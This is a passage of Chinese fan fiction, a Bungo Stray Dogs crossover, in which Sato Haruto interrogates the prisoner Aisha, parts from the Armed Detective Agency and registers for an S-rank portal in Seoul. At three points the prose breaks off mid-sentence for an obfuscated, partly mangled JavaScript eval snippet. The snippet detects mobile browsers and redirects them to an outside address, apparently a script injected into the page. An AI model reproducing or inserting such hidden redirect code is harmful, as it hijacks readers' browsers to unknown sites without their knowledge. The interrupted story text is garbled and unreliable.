然而,不等佐藤阳翔拔出枪,他的手就被一股无名的力量狠狠扭住了。身穿和服的金色夜叉犹如鬼魅一般,不知何时已然出现在了他身后,以近乎蛮横的力量将他的身体压了下来。 尾崎红叶没有被刘海遮住的眼睛,直视着面前动弹不得的佐藤阳翔,走出了下属的保护圈。 她掀掉了佐藤阳翔的帽子,钳制住青年的下颌,用一种奇异的目光打量着面前的人。 “唔...金色的眼睛。”她说,“原来是你啊,首领最近下令缉拿的叛徒。” 下颌瞬间传来令人无法忽视的疼痛。但佐藤阳翔并没有露出什么畏惧的神情,反而微笑着直视面前气质高雅的女人:“能让红叶大人记住我,实在是不胜荣幸。” “巧舌如簧。”她加重了些手上的力度,“被通缉的叛徒居然敢到这里来,真不知道妾身该说你胆大包天,还是该说你不惧死亡呢?” 然而,就在所有人都觉得这家伙死定了的时候,佐藤阳翔身上的蓝光忽然一闪,原本钳制着佐藤阳翔的金色夜叉突然消失,靠近电梯一侧的空间瞬间漆黑一片,一枚灯泡掉在了金色夜叉原本的位置,而电灯的位置则传来了“砰”地一声撞击响动。 佐藤阳翔迅速抽出手枪,子弹砰地一声撞在尾崎红叶藏于伞柄中的长刀。然而,不等她露出惊讶的神情,一直藏匿在垃圾车中的泉镜花也掀开了盖子,扬起匕首,趁着这个空档朝尾崎红叶袭去。 她愕然道:“镜花...” 尾崎红叶身后的下属已经把枪抬了起来,子弹如流水般射出,入侵者在电梯这样狭小的空间内,和活靶子也没什么两样。 “住手!” 不等尾崎红叶唤回金色夜叉替镜花抵挡,子弹便蜂拥而至。 泉镜花当机立断,拿尾崎红叶本人作护盾,手持匕首对准她的腹部捅了过去;而佐藤阳翔则利落地铲身滑出,细密的弹雨擦过他的脸颊,划出一道血痕。电梯间受到子弹猛烈的攻击,唯一的光源也就此熄灭。 黑暗中,尾崎红叶一手攥住了泉镜花的匕首,但佐藤阳翔的枪已经抵在了她的后腰上。 “和我做个交易吧,红叶大人。”佐藤阳翔低声道,“当然了,你只能接受这个选项。” 五分钟后,电梯灯光闪烁两下,再度复明。 现场的入侵者已经不翼而飞,天花板被一股强大的力量开出了一个大洞,金色夜叉静静地呆在尾崎红叶身边——它刚刚目睹了一场交易的完成,并在主人的示意下,替镜花开辟出了一个逃生的通道;但镜花并没有选择就此离开,而是决定跟随佐藤阳翔一起深入监狱。 下属们惊呼道:“红叶大人,您的手...!” 鲜血顺着她的手指滴落在地上,女人掌心的刀伤提醒着她,那是泉镜花最终作出的选择——她不是为了任何人留在武装侦探社,而是为了她自己;镜花心中的迷茫与依赖,在元町商业街的那次出游后,就已经渐渐淡去。 她要为她自己而活。 即便不被尾崎红叶理解,但她依旧甘之如饴。 “镜花...”尾崎红叶喃喃道,“可是向往光明之人,必将为其炙热所灼伤啊...” 104 摆脱了尾崎红叶后,佐藤阳翔和泉镜花很顺利就潜入了地下监狱。这里关押着各式各样的犯人,地下室阴暗潮湿的气息混合着令人作呕的血腥味,萦绕在鼻尖挥之不去。 他们停留在一间破旧的门板前,上面赫然挂着【艾莎】的铭牌。 “你真的要进来吗?”佐藤阳翔说,“里面的东西可能很恶心。” “我已经决定了,无论如何都要完成这次任务。”少女攥紧了手中的匕首,平静道,“我已经不是当初的泉镜花了。” 为了不引起巡逻者的警戒,佐藤阳翔率先使用【空间转移】进入牢房,然后再从里面给镜花打开了大门。 泉镜花走进去,直到佐藤阳翔伸手开灯,她才看见斑驳的地面和剥了漆的十字架上,堆着已经无法被认知判断为“人”的生物,他们就像一只只阴暗角落中将死的老鼠,那一张张青黑消瘦的面孔让人不由得觉得毛骨悚然。 她抿紧了嘴唇。 但正如佐藤阳翔所说,镜花虽然还是个孩子,但她早已不是温室里的花朵。父母死去后,她的成长速度也快到了常人难以想象的地步——后来被中岛敦救赎带入武装侦探社,她也开始逐渐融入其中。 佐藤阳翔见泉镜花接受良好,也没有再多费时间。港口mafia给艾莎安排的牢房原本是一块公共区域,但后来发生了一些意外,最后就变成了这位精神系异能者独自主宰的舞台。 他们小心翼翼地跨越尸体,深入最里层,终于在监狱中看见了那名女人。五年,整整五年的时光,艾莎却依旧和佐藤阳翔记忆中的一样年轻鲜妍。她背身坐在椅子上,直到听见脚步声后,才借着靠向椅背的动作看清了来人。 “哎呀...”她轻声道,“这不是——” “Haruto(阳翔)。”佐藤阳翔善解人意地提醒道说,“我的名字。” “Haruto(阳翔)。”她将这个名字放在口中咀嚼了一番,随即像遇见老友一般,语气中并没有被背刺的怨恨,也没多少再见故人的惊讶,笑眼眯眯地说,“好久不见。” “你好像不是很惊讶。”佐藤阳翔说,“而且看起来也并没有什么怨恨。” 艾莎说:“怨恨——是这个世界上最愚蠢的情绪,人一旦被怨恨支配,往往会做一些傻事。我在这个地方呆了五年,港口mafia比我想象得还舒服,我以为我很快就会死,但你也看见了,只要帮他们做一点事,我就可以轻轻松松地活着,并且还有可供取乐的东西。” “取乐?” 她点点头:“这间监狱曾经是公共牢房,但我把它抢了过来——现在想想,其实我还有些后悔,否则我能见到更多有趣的场景。” 那双幽深的眼眸中闪过一抹亮光:“就像这样。” 艾莎的话音刚落,佐藤阳翔便感受到了一丝凌厉的杀意。他下意识地折身躲开攻击,发现暴起之人竟是身边的泉镜花——少女的眼眸已经变得空洞无神,显然是被精神控制了。 好吧,佐藤阳翔想,艾莎果然在报复自己。 镜花手中的匕首直冲他的面门袭来,佐藤阳翔往她的手腕关节拍了一下,匕首也咣当一声掉在了地上。就在这时,泉镜花突然眼前一黑,倒在了佐藤阳翔的怀里。 “你看,这样的场景是不是很有意思?” 艾莎嘻嘻笑着,食指隔空点了点佐藤阳翔的眼睛,“门口的那堆人,我特意让港口mafia留在这里了——我喜欢那种尸体腐烂的臭味,很可惜,他们后来就再也不把犯人和我关在一起了。” 佐藤阳翔看着已经失去意识的泉镜花,眸光闪了闪:“你的异能,已经受到了港口mafia的特化吧?” 港口mafia对待不同的异能者,有着各不相同的培养方式。就和芥川龙之介的【罗生门】曾受到杀戮特化一样,艾莎的【精神控制】也受到了专门的培养,其威力远比五年前强悍。 “别担心,我只是让这个孩子睡一觉。”艾莎撑着下巴,好奇道,“不过,你难道现在把口味转向幼女了? “你少给我造谣。”佐藤阳翔说,“镜花只是个值得保护的同伴而已。” “好吧,不过...你背叛了港口mafia还没被处死,甚至还带着新同伴出现在了我的牢房里,是不是当初你的小男朋友放了你一马?”艾莎说,“瑞克还活着的时候,我们还打赌说你俩肯定一起睡过了。” 佐藤阳翔无语:“...我看你每天关在这里真是太闲了,赶紧让港口mafia的人给你买点八卦杂志吧。” 不过,他还没忘记此行的重点。既然提起了瑞克,佐藤阳翔便正色道:“其实我来找你,也是为了瑞克的事。” “一个死了五年的家伙还能翻起什么浪?” “他又出现了。”佐藤阳翔说,“并且炸毁了异能特务科的一座研究所,抢走了官方的东西。” 艾莎的表情凝滞了一瞬,随后反驳道:“这不可能——当初他已经死了。被正式带回港口mafia前,我专门去试探了他的鼻息和心跳。” 佐藤阳翔就猜到她会这么说,从外套口袋中抽出了一张照片:“你还记得瑞克的样子吗?” 正是异能特务科从监控中截取的那个身影。 “...这张照片能给我看看吗?” “当然。”佐藤阳翔隔着牢笼,将照片递到了艾莎的手中。她拧起眉毛,看着照片上的身影,最终恍如隔世般,长长地叹了一口气。 经过长久的沉默后,她才放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150778|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了照片,扭过头道:“这件事和我没关系。” “我知道。”佐藤阳翔本就不觉得在港口mafia管控下的俘虏能知道什么特别信息,“但我想问你的,不是瑞克。” “当年,你们组织背后应该还有一个人吧。” 佐藤阳翔说:“我不觉得仅靠你们二人就能支撑起一个组织。你没有多少领导力,更何况当年的你异能也并不稳定;而瑞克是个头脑简单、四肢发达的蠢货——在你们背后,应该还有一个家伙给你们出谋划策,顺便回收瑞克的尸体才对。” 艾莎看着他的眼睛,忽然笑了一下。 “差点忘了,你是个狡诈的家伙。” 艾莎摆出了一副好整以暇的姿态,摇了摇手中的照片,“可我现在已经开始替港口mafia做事了,更何况——我凭什么帮助一名背刺过我的家伙?” “你难道不想把他也拉下马吗?”佐藤阳翔的语气充满了蛊惑,“只有你被关在这种暗无天日的地方,这不公平。” 艾莎扯了扯嘴角,哼笑了一声。 “你好像总把自己想得很聪明。”她说,“如果真的能找到他,我为什么不向港口mafia求助?” “因为他们不会为了你出国。” 在这句话脱口而出的一瞬间,艾莎的瞳孔猛地收缩了一下。她抬起眼睛,用一种惊奇,但充满警惕的目光打量着面前的青年——五年前,这家伙的狡诈程度就已经超出了她的预期;但没想到,五年后,佐藤阳翔依旧能抓住她的心理。 “...你为什么会知道?”她哑声道,“这不可能。” “北美有一名富豪,名字叫做弗朗西斯·司各特·菲茨杰拉德——你不认识也正常。他的女儿数月前在韩国旅游,旅游途中被意外卷入了传送口中,至今没有醒来。” 佐藤阳翔问:“对了,需要我给你科普一下【传送口】吗?” “...那是什么东西?” “几个月前突然出现在世界上的怪异入口。里面充满了人类认知以外的怪物。没有异能的人类只要被卷入其中,几乎必死无疑。” 艾莎不耐烦地问:“这和那家伙有什么关系?” 佐藤阳翔自顾自地道:“这名叫做弗朗西斯的家伙,因为某些原因盯上了我。我在离开传送口时,将里面的矿石带了出来,并且交给了异能特务科化验——我不觉得弗朗西斯会放过这个机会。为了找到拯救女儿的办法,他一定会想方设法抢夺矿石。” “但是异能特务科代表的是官方,他现在远在北美——当然,也可能正在来日本的路上;因此,他不能贸然找人干这种事,否则即便有外交赦免权,这种贸然袭击官方的行为,也很难得到外交包庇。” “所以,他找到了一个人——这个人,或许是在韩国认识的,又或许是在美国、欧洲遇见的——这个人和横滨的港口mafia有过节,也曾是异能特务科的监察对象,报复心就和瑞克一样重,同时还和你一样爱财如命,如果由他出手,无论哪方都怀疑不到弗朗西斯的头上。” “出于对港口mafia的忌惮,这个人绝不会留在日本。但他手中正好有一具尸体——他使用了某种方法让尸体行动,即便被警方抓住了,一具尸体又能说明什么呢?” 佐藤阳翔问:“剩下的,还要我再为你推测吗?” “如果你的同伴真的有义气,就不该把你丢在这里自生自灭才对。”佐藤阳翔说,“但我可以帮你,我不是官方的人,行动也比港口mafia更自由——艾莎小姐,这可是整整五年的仇恨。” 艾莎深深地吸了一口气。 她不得不承认,佐藤阳翔的提议真的非常、非常诱人。 “...韩国。”她低声道,“当时,我们刚到横滨没多久,他突然提出要在南韩扩大势力范围。我和瑞克都没有同意,但他还是毅然决然地抛下了我们,从此音信全无。” “你说得对。”艾莎喃喃道,“五年...我依靠着港口mafia活了五年,没有人能替我分担仇恨和怒火,到最后甚至只能信任你这个背叛者。” 她扭曲地笑了笑,抓着照片的手瞬间攥紧,留下皱巴巴的痕迹,抬眼直视着佐藤阳翔,再一次呼唤他的名字:“Haruto(阳翔),你能帮我夺走他的性命,为我摘下那家伙的眼睛吗?” “当然,艾莎小姐。”佐藤阳翔微微躬身,绅士地道,“告诉我他的名字、长相,还有一切你知道的情报;作为回报,我将回馈给你想要的东西。” 57.第五十五章 105 好像是梦,喷泉公园边上的人行道上原本人烟寥寥,但今天的人好像格外多。镜花知道这是哪里——这座小公园就在泉镜花的家附近,所以父母下班之余总是带她一起来附近游玩。 泉镜花愣愣地看着晚霞烂漫的天空。就在这时,一只温暖的大手揉了揉她的头发,虚无缥缈的声音响起。 “我们的小镜花,还在发呆吗?” 一位身穿淡蓝色和服,拥有着一头深色长发的女人站在她身边,声音温柔且坚定。 镜花一听见她的声音,就忍不住浑身一颤。她不可置信地想要扭头去看这个女人的脸,但她的四肢僵硬,无论如何急迫地催促,都无法发出任何声音。 “爸爸去给你买可丽饼了。镜花,打起精神来,今天晚上不是说很期待公园表演吗?” 少女抬头看见女人垂落的长发,以及那双总是蕴含着慈爱和温柔的眼睛。镜花的心脏几乎快胀裂了,泪水顺着她的脸颊滑过,在艰难地发出第一个音节后,一切都变得自然了起来。 她喊出了那个永远不会再出现的名字:“...妈妈。” 现在的母亲,比镜花记忆中的更年轻,更鲜活。 “怎么啦?” 泉镜花的耳边隐约传来音乐喷泉演奏的声音。对了,今天是周日,他们一家来到落日昏黄的公园里,今晚这里有巡回表演,不远处已经搭建好了舞台,公园里的人也越来越多,大家开始聚集在台下,太阳逐渐黯淡下来。 一名黑发的男人面带歉意地跑来,他蹲在泉镜花的身前,手中拿着一根苹果糖:“对不起,可丽饼好像卖完了...镜花今晚吃苹果糖吧?” 表演好像准备开始了。歌伎在台上表演舞蹈,歌伎手中的手鼓发出清脆的声音。 镜花伸出手,并没有接过苹果糖。它意外地掉在了地上,男人难得有些手足无措:“哎呀...” 但下一刻,流泪的少女便扑进了他的怀里。这一刹那,她原本贫瘠的内心好像被倒灌的雨水充满了,镜花只觉得胸腔中有什么东西正在重新生长,以至于到达顶峰——父母死后,她第一次如此委屈地放声大哭起来。 音乐喷泉暂停了一会儿,全世界的声音仿佛都消失了,只剩下少女压抑的恸哭。 母亲蹲下身,抚摸着她的头。父亲虽然不知道发生了什么,但也用自己温暖的怀抱环住了她。泉镜花仿佛要一口气释放出所有埋藏在心底的悲伤,她失去的一切如同一股洪流将她卷入其中。 她的父亲,她的母亲,原本已经几乎不出现在她的梦里的二人,此刻又回到了她身边。 这位总是一个人独行于黑暗中的少女,像一只受伤的小兽般,直到最后只能发出微弱的啜泣。 她费劲全身的力气,终于还是说出口:“爸爸...妈妈,我好想你们。” 对镜花来说,父母永远都是那个样子。在那一夜的悲剧前,他们还是幸福的一家;但谁也没想到,平日触手可及的幸福,现在看来竟然那么遥远。 少女闭上眼睛,说出了跟父母重逢的那一刻起,她就一直想说的话:“我不想再一个人了,我想永远和你们待在一起。” 耳边传来他们低沉的叹息,镜花睁开眼睛,手臂依然维持着搂着父亲的姿势,但是,他已经不见了,抚摸着自己头发的母亲也不见了。 一切又再次消失。 106 【武装侦探社,医务室】 泉镜花正闭着眼睛躺在床上,眼泪打湿了她的鬓发和枕巾。与谢野晶子判断她确实没有受到任何伤害,但或许是因为受到了精神系异能者的影响,才让镜花在梦里梦见了某些过去的事。 所有人都知道,能让镜花在梦中潸然泪下的,只有她的父母。 佐藤阳翔在确定她身体无碍后,便主动退出了医务室,留下中岛敦守在医务室内照看她。 他来到走廊的尽头,一扇半开的窗户前。这里的视野还算不错,望出去就是人流涌动的大街。佐藤阳翔正在思考下一步的出路——他把镜花带回事务所后,就向太宰治和国木田独步阐明了自己从艾莎那里问到的东西。 【组合】来势汹汹,弗朗西斯的下属刚抵达横滨,就和港口mafia的人在西边的元町商业街大打出手,仗着外交赦免权横行霸道,下一道锋芒更是直指武装侦探社。 “战略转移是迟早的事。”太宰治耸耸肩,“我们现在可是腹背受敌,【组合】与港口mafia都想歼灭我们,这里已经不再适合呆下去了。” 佐藤阳翔“唔”了一声,道:“不过,我得和你们暂时分开一段时间。” 国木田皱眉:“你要去哪里?” “韩国。”佐藤阳翔按了按太阳穴,“我查过了,弗朗西斯女儿进入的那个传送口至今还没有关闭,炸弹恐怖组织的真正头领五年前也逃往了那里——而且我有一种预感,我应该会在那个国家发现什么特别的东西。” 老实说,国木田独步并不支持佐藤阳翔单独行动,即使不提那个传送口,弗朗西斯也已经盯上了他,港口mafia也正在想方设法歼灭武装侦探社的人——这时候落单,就是一件非常危险的事。 但太宰治并没有反对:佐藤阳翔如果已经决定好做某件事,那便是谁都无法阻止的。 “我会告知社长的。”太宰治说,“佐藤君,你应该已经做好了无人支援的准备吧?” “当然。” 他本就是游离在外,不依靠任何人生存的独行者。 视线回归,等佐藤阳翔回过神来的时候,自己已经站在了那半扇窗户前,盯着远处的晚霞,不自觉地从口袋里摸出了一盒香烟——还是临走前,艾莎慷慨送给他的。 佐藤阳翔本来已经好几年没有再抽过烟,但最近的事多得有些让他有些喘不过气,他现在急需某种刺激性物品来让他的大脑保持活力。他咬住滤嘴,爆珠发出清脆的一声“咔”,弥漫出令人清醒的薄荷味。 但不等香烟被点燃,一只手就从他嘴里把香烟抽了出来。 “好,这个没收了。”与谢野晶子随手把未点燃的香烟扔进了走廊上的垃圾桶里,“不许在武装侦探社里抽烟,医务室就在附近,你想让别人吸你的二手烟吗?” 佐藤阳翔一愣,为自己的行为道歉:“对不起。” “听说你要和我们分开行动。”与谢野晶子问,“你真的要走吗?” 佐藤阳翔无可奈何:“说得我好像走了就不会再回来了一样。” 与谢野晶子嗤笑一声:“因为这种事你确实干得出来——一言不发地突然加入,一言不发地突然离开,也不管别人会不会为你流泪,拍拍屁股就走了。” “我有这么缺德吗?” “只多不少。”与谢野晶子说,“虽然你并不依赖我们,但有的人已经开始依赖你——尤其是情感上。” 她说着,往医务室的方向看了一眼。中岛敦不知何时已经出现在了门口,他握着门把手,低着头说:“镜花酱已经醒了。” 与谢野晶子拍了拍佐藤阳翔的肩膀,意味深长地道:“走之前要好好和人家告别啊。敦还是个纯情的孩子,除了国木田那个呆子,其他人应该都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157864|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看出来,他还是很喜欢你的。” 医务室的门再度关上,走廊上只剩下彼此对视的二人,以及寂静无声的残阳。落日的余晖倾洒而下,勾勒出黑暗且模糊的轮廓。 中岛敦攥紧双手,忍不住深吸一口气:“佐藤先生要离开我们吗?” “你听见了?”佐藤阳翔没有撒谎,“我要先离开一段时间——所以保护武装侦探社的工作,只能交给你们了。” 紫金色的眼眸中闪过一丝犹豫。 “可是只有一个人的话...佐藤先生的处境会变得很危险。” “我知道。” 佐藤阳翔说,“但这件事总要有人去完成。当然了,我在国外也会和你们保持联系——我当初会加入武装侦探社,本来就是为了更好弄到有关传送口的讯息。” 中岛敦的内心正在进行某种激烈的抗衡。他的理性告诉他,应该让佐藤阳翔自己行动,自己还要留下来保护腹背受敌的武装侦探社;但感性又不允许他说出告别的话,佐藤阳翔如果一个人行动,将会受到无数的袭击与威胁。 就在他挣扎之际,那双曾在便利店前握住自己的温暖,再次将他的脸抬起。 “你和我不一样,你得留在这里。”佐藤阳翔一下子便看穿了他内心的想法,说,“我这句话可能会给你的决心泼冷水——但你留在我身边是没有用的。” “可是我...” “敦,别担心。”佐藤阳翔退开一步,从下往上牵住了他的手,十指贴合在一起,分明是充满了暧昧的动作,那双金色的眼眸一如既往地温柔,但中岛敦的心头却莫名地愈发不安,“我不是能死而复生吗?” “我向你保证。”他说,“我会回来,并且是毫发无伤地回来。” 在对方坦然的眼神下,中岛敦紧张的情绪似乎缓解了一些。在佐藤阳翔离开前,中岛敦第一次如此主动地伸手抱住了他,仿佛这样就能缓解分离的焦虑,仿佛这样就算平安归来的承诺。 他闷闷地问:“佐藤先生这次的任务...真的很简单吗?” “嗯。只是去韩国出个差而已,回来的时候会给大家带伴手礼的。” 中岛敦咬紧牙关,忍不住收紧了拥抱对方的双手,轻声道:“既然如此...你一定要平安归来啊。” 夕阳现在已经完全殒落了。 佐藤阳翔在安抚完中岛敦后,便离开了走廊。在他绕过拐角的时候,一道声音毫无预兆地在身后响起:“人在做不到的情况下如果做出明确的保证,很大概率是谎言喔。” 佐藤阳翔脚下一顿。 太宰治靠在墙边,双手抱胸:“你应该很清楚,那个传送口至今仍未关闭,意味着什么吧?” ——说明几个月来,这枚传送口都没有被攻克。在政府和财阀集团的支持下,大半个韩国的异能者与军队倾巢而出;但即便韩国官方出动了如此多的人力物力,都没能将其攻克下来,恰恰说明这枚传送口一定有什么异常之处。 “目前的情报,只知道在那个传送口里,人类身上的一切异能都会被封锁。”太宰治说,“你能保证你这一次也能死而复生吗?你说的话,敦可是会当真的。” 这种事对中岛敦来说太残忍了,佐藤阳翔当然知道。 “所以,有时候善意的谎言也是必要的。”他叹气,“你会替我隐瞒的,对吧?” “这就要看我心情如何了。” 太宰治一手插进了外套的口袋,慢吞吞地转身下楼,背对着朝他挥了挥手,声音在狭小的转角处回荡,“这次可千万别死了啊。祝你好运,佐藤。” 58.第五十六章 107 这里是海上。 佐藤阳翔本次离开日本,除了一个小型行李箱和一个装着长刀的吉他包外,没有再带别的行李——异能特务科在暗中帮助他度过了安检,并将他的身份成功包装成了一名普通人,他也成功登上了那艘开往韩国釜山的邮轮。 这次行动只有佐藤阳翔一个人,日本官方不可能公然支持本国公民潜入他国的异能传送口,因此佐藤阳翔一旦离开了横滨,就再也无法获取任何帮助。 总的来说,这一路上的坎坷其实并不少,【组合】的弗朗西斯在得知佐藤阳翔出国的消息后,至少雇人对他进行了三四次的围杀,但每一次都无功而返。 佐藤阳翔最终有惊无险地抵达了目的地。从釜山下船后,他又坐车来到了首尔;根据异能特务科的情报,传送口的地点就在那里。但佐藤阳翔从列车下来后,并没有急着前往目标地点,而是先去了当地的异能者工会。 与日本不同,韩国的异能者们由于能力与普通人不同,在官方的授意下,已经成为了一种特别的社会资源,异能者们在一致的利益下逐渐组合在一起,由财阀牵头,建立了一个半官方半民间的组织,政府称其为“异能者工会”。 财阀们为异能者开出的工资高得吓人,此举也吸引了国外不少想捞金的异能者来到这里——接待者在看过佐藤阳翔的身份证件后,也自动将他列为了捞金者的一员,脸色不太好地指引他登上电梯,前往规定地点登记。 佐藤阳翔按了一下电梯上的按键,门轰隆隆地关上了。电梯抖动一下向上爬去,一楼的大厅逐渐在网线玻璃后面消失了。电梯中,机械女音正在用韩语和英语循环播报着今日的工会新闻——基本都是在通知哪个地方出现了传送口,急需异能者前往处理危险。 在这个国家,异能者似乎成为了合法的雇佣兵。 电梯抵达后,佐藤阳翔一眼就看见了挂在入口处的巨大LED显示屏。上面用显眼的黑色加粗字体标明着不同传送口的价值——他完全没有想到,短短出现几个月的传送口,居然已经成为了明码标价的货品,而且几乎每个传送口后面跟着的“0”都多得可怕。 “你是从国外来的?”一名路过的女人见到佐藤阳翔的打扮和随身携带的行李,好心介绍道,“那你还真是赶上好时候了——托传送口的福,最近的赏金高得很,只要能攻下一个高级传送口,能舒服地躺平好几年呢。” 佐藤阳翔适时装傻:“像我这样的外国人也能参与吗?” “当然,毕竟现在是【特殊时期】嘛。”女人耸耸肩,“不过你想来这里捞金的话,可得小心一点了——别选错了攻略目标,如果意外送命可就得不偿失了。” 佐藤阳翔又将目光移回了显示屏上。他这才发现,几乎每个传送口的后面,除了标明具体的地址,绝大多数都用醒目的黄色字体标注了S、A、B、C、D、E六个不同的等级。 他问:“这些字母代表的是传送口的难度等级吗?” “差不多。一旦有新的传送口出现,就会暂时标注E级——你应该知道传送口首次出现时,会将附近的人随机卷入其中吧?这批人如果解决了传送口里的怪物,那它就会被工会标为D级,将记录封闭在工会的仓库里。” 女人说着,声音变得低沉了起来:“如果这批倒霉蛋没能活着出来,传送口的等级就会上升为C级,交到工会的手里,再由这块公示大屏公开招募异能者。有钱人更愿意雇佣我们异能者解决传送口的问题,毕竟,绝大部分异能者的战力,可比普通人高多了。” “如果第一批招募者也没能解决,那它的难度会再升为B级,抬高价格继续在大屏上公开招募,对吧?” “看来你理解得很快嘛。”女人爽朗一笑,“不同等级的传送口标价不一样,那些议员为了保证自己执政地区的口碑和风评,只能尽力联合有钱人雇佣异能者,我们现在都快从【异能者】变成【传送口猎人】了。” 不知为何,佐藤阳翔一听见“猎人”这个词,心脏就像是突然被人攥了一下。 这个称呼...他好像在哪里听过。 女人没有注意到他的异常,继续问:“你有想报名攻略的传送口吗?你是第一次来,最好选择等级低一些的D级,选好了的话,我可以带你去专员那里报名。” 佐藤阳翔抿着唇,凝视着数字大屏——传送口后面跟着的数字越长,就说明有越多的人在此殒命。 他的视线逐渐上移,最终定格在那行用醒目的红色标示的文字上。 “谢谢,我能报名这个吗?”他的食指指向顶格。 上面赫然写着: ——【首尔市江南区清潭洞传送口(S级)】 标价:十亿韩元。 108 佐藤阳翔话音刚落,原本嘈杂的环境便诡异地安静了下来。大家齐齐倒吸了一口冷气,然后用惊疑不定的眼神打量着面前这位狂妄的青年,好像在看一名逃出精神病院的犯人。 女人脸上的表情一僵,立即压低了声音道:“喂,你是在开玩笑吧?你知道S级传送口意味着什么吗?目前还没有比这个传送口难度更高的存在!” “没有人能从里面全身而退,你别为了赚钱真把命丢了!” 佐藤阳翔当然知道,但他正是为此而来。 周围来往的人都不由得驻足,轻蔑又怜悯地看着他:轻蔑是因为他的愚蠢和自视甚高;怜悯是因为年轻人的不知天高地厚,最后一定会给他带来巨大的不幸。 “看来我们的工会,迎来了一位干劲十足的小伙子啊。” 就在大家沉默的时候,一道爽朗的笑声适时打破了僵局。来人是一名中年男子,他的两鬓已经染霜,穿着合身且服帖的定制西服;但更让佐藤阳翔注意到的,是那双灰蓝色的眼睛,以及与亚洲人截然不同的深邃眉骨,还有挂在男人胸口的铭牌——约翰·勒卡雷,那是他的名字。 他微笑着,朝佐藤阳翔伸出了手:“很高兴认识你,年轻人。这里的人都叫我老约翰,但我只是工会的一介小小顾问罢了。” “你好,约翰先生。我是来自日本的佐藤阳翔。” 佐藤阳翔和他简单地握了一下手。即便是第一次见面,他依旧能感受到对方的气度不凡,以及周身散发出的威严感——这名中年男子显然在工会的地位非同小可,否则周围人的目光不会一下子就变得敬畏起来。 “你有意攻略清潭洞的传送口,这是好事。” 约翰说,“在此之前,让我先和你介绍一下那里的情况吧。即使在首尔,江南区也是有名的富人区,人流量很大;但那里的传送口让居住在附近的居民很头疼,同时,官方也不得不耗费大量警力用于镇守在外。” “而且,最近传送口的出现频率越来越频繁了。” 约翰叹气道,“但我们的人手始终不够。军方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160604|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力量不可能全都投入在这里,异能者的数量相较于普通人不过凤毛麟角;更何况,大家都不想死——这也是为什么清潭洞的那个传送口悬赏金这么高,却没有人愿意踏足的原因。” “这座传送口非常特别,所有拥有异能的人在里面都会失去力量。”约翰颤动了一下灰白的胡须,用灰蓝色的眼睛紧紧盯着佐藤阳翔的脸,“即使如此,你也愿意进去吗?” 佐藤阳翔没有直接回答,而是没头没尾地突然问:“约翰先生,您在首尔呆了多少年了?” “唔...现在算起来,应该也有五、六年了吧。” “那您为什么会选择呆在这里?” “哈!年轻人,如你所见,这里对异能者的管理已经很成熟了,富豪们常常雇佣异能者当保镖,他们开出的条件也非常丰厚。”约翰笑道,“我必须承认,我是个贪财的家伙。” “那么,我也一样。”佐藤阳翔也微微一笑,“十亿韩元,对任何人来说都是致命的诱惑。” “年轻人,你看起来倒不像是个财迷。” “我其实是个赌徒。”佐藤阳翔说,“据说,当一件事的收益大于300%的时候,就足够让人为它冒着致死的风险。” 约翰·勒卡雷忍不住大笑起来,显然是非常满意这样的回答。两个人一前一后地来到了登记的窗口前,他亲自在佐藤阳翔的名字上按下了红色的印章——这标志着佐藤阳翔从此以后就是异能者工会的一员,享受着与韩国本土异能者大体相同的权利。 “欢迎加入工会,佐藤君。”约翰用有些蹩脚的日语向他道贺,“噢,我的日语不太好——我只在好几年前去过那里一次,希望你不要太介意我的欧洲口音。” “您说得很好,约翰先生。”佐藤阳翔说,“我最快什么时候能进入那个传送口?” “还要再等几天。”约翰说,“你知道的,韩国对待外国异能者要核查的类目特别多——而且S级传送口不能随意进入,为了保证工会能获知尽可能多的情报,单次进入人数不得低于十五人。” 见佐藤阳翔的表情变得有些担心,约翰安慰道:“放心吧——除了异能者,这个世界上和你一样的赌徒和财迷还有很多。” 在登记完毕后,佐藤阳翔先回了酒店。在他拖着行李离开工会大厅后,约翰脸上的和蔼微笑才和云烟般散去。阅人无数的约翰·勒卡雷很确定,单凭气质他就一眼判断出青年绝没有表面上那么简单,直到佐藤阳翔填写完登记表格,约翰心中的疑惑才被揭开。 “佐藤阳翔,出生地和居住地都是日本横滨...” 照片上的青年面容俊秀,金色的眼睛带着冰冷的笑意,仿佛正在凝视着纸面外的所有人。 一名工会的工作人员恰好路过,好奇地凑上来问:“横滨?啊,刚刚那个不知道天高地厚的年轻人原来是日本人啊,不过老约翰,你怎么表情突然变得这么奇怪?” “你应该多关注一下传送口的新闻。”约翰·勒卡雷哼笑道,“世界上的首例传送口就是在那里出现的。当时被卷入了整整七个人,但最终活着出来的只剩下一位金色眼眸的青年。” 